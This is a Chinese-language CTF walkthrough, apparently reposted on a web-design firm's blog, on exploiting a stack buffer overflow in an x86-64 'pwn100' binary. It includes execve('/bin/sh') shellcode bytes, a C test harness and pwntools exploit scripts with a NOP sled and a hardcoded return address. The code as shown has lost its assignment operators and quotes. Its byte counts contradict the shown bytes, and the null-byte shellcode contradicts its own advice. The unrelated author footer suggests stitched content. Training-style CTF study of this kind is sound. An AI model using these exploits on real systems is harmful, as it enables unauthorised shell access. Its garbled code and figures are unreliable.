x86-64 Shellcode注入与缓冲区溢出漏洞利用实战

发布时间:2026/10/29 2:58:16
x86-64 Shellcode注入与缓冲区溢出漏洞利用实战 1. 理解sniperoj-pwn100-shellcode-x86-64挑战的本质当我第一次看到sniperoj-pwn100这个题目时立刻意识到这是一个典型的shellcode注入挑战。这类题目在CTF比赛中非常常见特别是在Pwn二进制漏洞利用类题目中。题目名称中的x86-64明确指出了目标架构这意味着我们需要编写能在64位Linux系统上执行的shellcode。这类题目通常会提供一个存在缓冲区溢出漏洞的二进制程序我们的目标是通过精心构造的输入覆盖返回地址劫持程序控制流最终执行我们注入的shellcode。在CTF比赛中这类题目往往作为Pwn方向的入门题考察选手对栈溢出和shellcode编写的基本理解。提示在实际CTF比赛中遇到pwn100这样的题目编号通常意味着这是该方向的基础题适合刚接触二进制安全的选手练习。2. 环境准备与工具链配置2.1 基础环境搭建要开始分析这个挑战我们需要准备以下工具和环境Linux调试环境推荐使用Ubuntu 18.04/20.04 LTS这是CTF比赛的常用环境必备工具gdbGNU调试器基础调试工具pwntoolsPython的漏洞利用开发库checksec检查二进制保护机制的小工具objdump反汇编工具strace系统调用跟踪工具安装这些工具的命令如下sudo apt update sudo apt install gdb python3-pip binutils strace pip3 install pwntools2.2 题目二进制分析假设我们已经获得了题目提供的二进制文件pwn100首先应该进行基础分析file pwn100 checksec --filepwn100典型的输出可能如下pwn100: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]..., not stripped [*] /pwn100 Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX disabled PIE: No PIE (0x400000) RWX: Has RWX segments从保护机制来看这是一个几乎没有开启任何保护的二进制这很符合入门级题目的特点。特别值得注意的是NXNo-eXecute被禁用这意味着栈上的代码是可以执行的这正是shellcode注入的前提条件。3. 漏洞分析与利用规划3.1 逆向工程与漏洞定位使用IDA Pro或Ghidra对二进制进行反编译我们可以快速定位到漏洞点。在入门级题目中通常会有一个明显的缓冲区溢出漏洞比如使用不安全的gets()或read()函数。假设我们发现了如下伪代码void vulnerable_function() { char buffer[64]; read(0, buffer, 256); // 明显的栈溢出漏洞 }这个函数声明了一个64字节的缓冲区但却允许读取256字节的数据这造成了栈溢出。在x86-64架构下我们可以通过这个漏洞覆盖函数的返回地址。3.2 栈布局理解在x86-64架构下函数调用时的典型栈布局如下从高地址到低地址函数参数如果有返回地址保存的基指针RBP局部变量如我们的buffer我们需要确定buffer到返回地址的偏移量。这可以通过以下方法实现使用cyclic模式字符串生成工具在gdb中运行程序并输入这个字符串当程序崩溃时查看RIP寄存器的值用cyclic工具计算精确偏移使用pwntools的示例from pwn import * cyclic(200)4. Shellcode开发与优化4.1 基础shellcode编写对于x86-64架构的Linux系统一个经典的shellcode目标是执行/bin/sh。以下是汇编实现section .text global _start _start: ; execve(/bin/sh, NULL, NULL) xor rsi, rsi ; RSI 0 push rsi ; 字符串结尾的NULL mov rdi, /bin//sh ; 注意这里使用8字节对齐 push rdi mov rdi, rsp ; RDI 指向/bin//sh的指针 xor rdx, rdx ; RDX 0 mov rax, 59 ; execve系统调用号 syscall这个shellcode只有35字节非常紧凑。我们可以用nasm编译它nasm -f elf64 shellcode.asm -o shellcode.o ld shellcode.o -o shellcode objdump -d shellcode4.2 Shellcode提取与测试从编译好的二进制中提取机器码objcopy --dump-section .textshellcode.bin shellcode hexdump -C shellcode.bin得到的shellcode类似于48 31 f6 56 48 bf 2f 62 69 6e 2f 2f 73 68 57 48 89 e7 48 31 d2 b8 3b 00 00 00 0f 05我们可以用C程序测试这个shellcodechar code[] \x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x48\x89\xe7\x48\x31\xd2\xb8\x3b\x00\x00\x00\x0f\x05; int main() { void (*func)() (void(*)())code; func(); return 0; }编译时需要关闭NX保护gcc -z execstack test_shellcode.c -o test_shellcode5. 完整漏洞利用开发5.1 构建攻击载荷结合前面的分析我们的攻击载荷结构应该是NOP雪橇可选Shellcode填充数据直到覆盖返回地址覆盖的返回地址指向shellcode或NOP雪橇使用pwntools构建攻击载荷的Python脚本示例from pwn import * context.arch amd64 context.os linux # 计算偏移量假设我们通过调试确定为72 offset 72 # 准备shellcode shellcode asm(shellcraft.sh()) # 构建payload payload flat([ b\x90 * (offset - len(shellcode)), # NOP sled shellcode, pack(0x7fffffffe000) # 假设的栈地址实际需要调试确定 ]) # 发送payload io process(./pwn100) io.send(payload) io.interactive()5.2 地址确定与ASLR问题在现代系统中ASLR地址空间布局随机化会给漏洞利用带来挑战。但在CTF比赛中通常会有以下情况之一ASLR被禁用程序有信息泄露漏洞可以获取地址题目提供了二进制和libc如果ASLR开启我们需要通过某种方式泄漏地址或者利用题目提供的条件。在本题中假设ASLR关闭我们可以通过调试确定栈地址。在gdb中查看栈地址gdb ./pwn100 b *vulnerable_function20 r info frame5.3 利用脚本优化一个更健壮的利用脚本应该包含以下部分#!/usr/bin/env python3 from pwn import * # 设置目标 target ./pwn100 context.binary target context.log_level debug def exploit(): # 确定偏移量 offset 72 # 准备shellcode shellcode asm(shellcraft.sh()) # 启动进程 io process(target) # 获取泄漏的栈地址如果有信息泄漏 # 这里假设没有ASLR使用固定地址 stack_addr 0x7fffffffe000 # 构建payload payload flat([ shellcode.ljust(offset, b\x90), # 用NOP填充剩余空间 pack(stack_addr) ]) # 发送payload io.send(payload) # 切换到交互模式 io.interactive() if __name__ __main__: exploit()6. 调试技巧与常见问题解决6.1 GDB调试技巧调试shellcode注入时以下GDB命令特别有用在关键位置设置断点b *vulnerable_function20查看栈内容x/40gx $rsp查看返回地址info frame单步执行shellcodeni si # 进入函数调用检查寄存器值info registers6.2 常见问题与解决方案Segmentation Fault检查返回地址是否正确确保shellcode没有包含空字节\x00验证栈是否可执行Shellcode不工作用strace跟踪系统调用在gdb中单步执行shellcode检查是否所有寄存器都设置正确偏移量不确定使用cyclic模式字符串在崩溃时检查RIP值用cyclic -l 计算偏移ASLR干扰尝试关闭ASLRecho 0 | sudo tee /proc/sys/kernel/randomize_va_space寻找信息泄漏漏洞使用相对跳转如jmp rsp7. 高级技巧与扩展思路7.1 更小的shellcode我们可以进一步优化shellcode大小。以下是一个21字节的版本xor rsi, rsi push rsi mov rbx, /bin//sh push rbx push rsp pop rdi imul esi mov al, 59 syscall对应的机器码48 31 f6 56 48 bb 2f 62 69 6e 2f 2f 73 68 53 54 5f 48 f7 ee b0 3b 0f 057.2 规避字符限制有些题目会过滤特定字符如空字节、换行符等。我们需要调整shellcode避免这些字符。例如用以下指令替代xormov rsi, 0 push 0 pop rsi7.3 多阶段攻击当一次注入无法完成所有操作时可以考虑多阶段攻击第一阶段泄漏内存地址第二阶段根据泄漏的地址构造最终payload7.4 使用现有工具pwntools提供了强大的shellcode生成功能from pwn import * context.arch amd64 print(asm(shellcraft.sh()))还可以生成特定功能的shellcodeshellcraft.amd64.linux.cat(/flag) shellcraft.amd64.linux.echo(Hello\n) shellcraft.amd64.linux.dupsh()8. 实际比赛中的应用与变种在真实CTF比赛中pwn100这类基础题目可能会有以下变种有限的写入空间可能需要多阶段注入或更小的shellcode部分覆盖只允许修改返回地址的部分字节特殊字符过滤需要编码shellcode或使用替代指令沙箱限制seccomp限制可用系统调用需要绕过例如在ctf.show大牛杯的pwn login题目中虽然也是基础题目但加入了简单的输入过滤需要选手绕过。注意在实际比赛中一定要仔细阅读题目描述检查是否有特殊限制条件这往往是解题的关键。

关于本文作者

来自尧图内容编辑团队

尧图内容编辑团队 内容团队

尧图内容编辑团队

本文由尧图网络内容编辑团队执笔。团队由资深项目经理、前端工程师与设计师组成,所有内容均来自亲手交付的真实项目,先讲清问题、再给出可落地的解法。尧图深耕北京网站建设十年,服务过京华建材集团、智造科技等各行业客户,把一线经验沉淀为可复用的行业观察。

  • 十年建站经验,覆盖建材、制造、服务、文创等
  • 项目经理把关选题与事实准确性
  • 工程师与设计师联合撰写专业细节
  • 统一编辑规范,保证文风与排版一致
  • 每月复盘转化数据,迭代选题方向

延伸阅读

相关资讯与近期热门内容

深度阅读推荐

建站决策前值得细读的三篇

网站改版的5个关键决策
2024-08-12

网站改版的5个关键决策

什么时候该改版、改到什么程度、如何避免流量掉光,京华建材集团改版复盘给出答案。

获取专属建站方案

看完文章,把您的行业与预算告诉我们,免费获取一份量身定制的官网建设方案与报价。

立即免费咨询